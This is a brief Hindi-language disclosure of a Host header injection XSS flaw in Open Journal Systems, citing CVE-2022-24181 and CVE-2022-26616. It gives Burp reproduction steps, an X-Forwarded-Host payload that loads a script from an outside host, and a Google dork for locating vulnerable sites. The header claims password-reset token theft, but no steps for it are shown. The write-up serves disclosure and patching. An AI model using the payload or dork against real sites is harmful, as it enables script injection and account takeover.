CVE-2022-24181 और CVE-2022-26616। शायद दोनों एक जैसे हैं।

Open-journal-system-भेद्यता

होस्ट हेडर इंजेक्शन के माध्यम से XSS और दूसरे उपयोगकर्ता का पासवर्ड रीसेट टोकन चुराना पुनरुत्पादन के चरण:

1. इस साइट पर जाएं: https://who's-using-ojs-software.com
2. और इस अनुरोध को बर्प में कैप्चर करें, और रिपीटर पर भेजें।
3. होस्ट हेडर के बाद यह जोड़ें: X-Forwarded-Host: foo"><script src=//dtf.pw/2.js><x=".com
4. और फिर सेंड पर क्लिक करें, इसके बाद अनुरोध पर राइट क्लिक करें और "शो रिस्पॉन्स इन ब्राउज़र" पर क्लिक करें, फिर अनुरोध को कॉपी करें।
5. इस अनुरोध को ब्राउज़र में पेस्ट करें, और आप XSS पॉप-अप देखेंगे। शमन: नवीनतम संस्करण में अपडेट करें।

इस भेद्यता को खोजने के लिए Google Dork intitle:ojs PKP वेंडर सॉफ्टवेयर Open-journal-system संस्करण 2.4.8 से 3.3.8 में यह भेद्यता होस्ट हेडर इंजेक्शन के माध्यम से XSS और पासवर्ड रीसेट टोकन चुराने की भेद्यता के प्रति संवेदनशील हैं।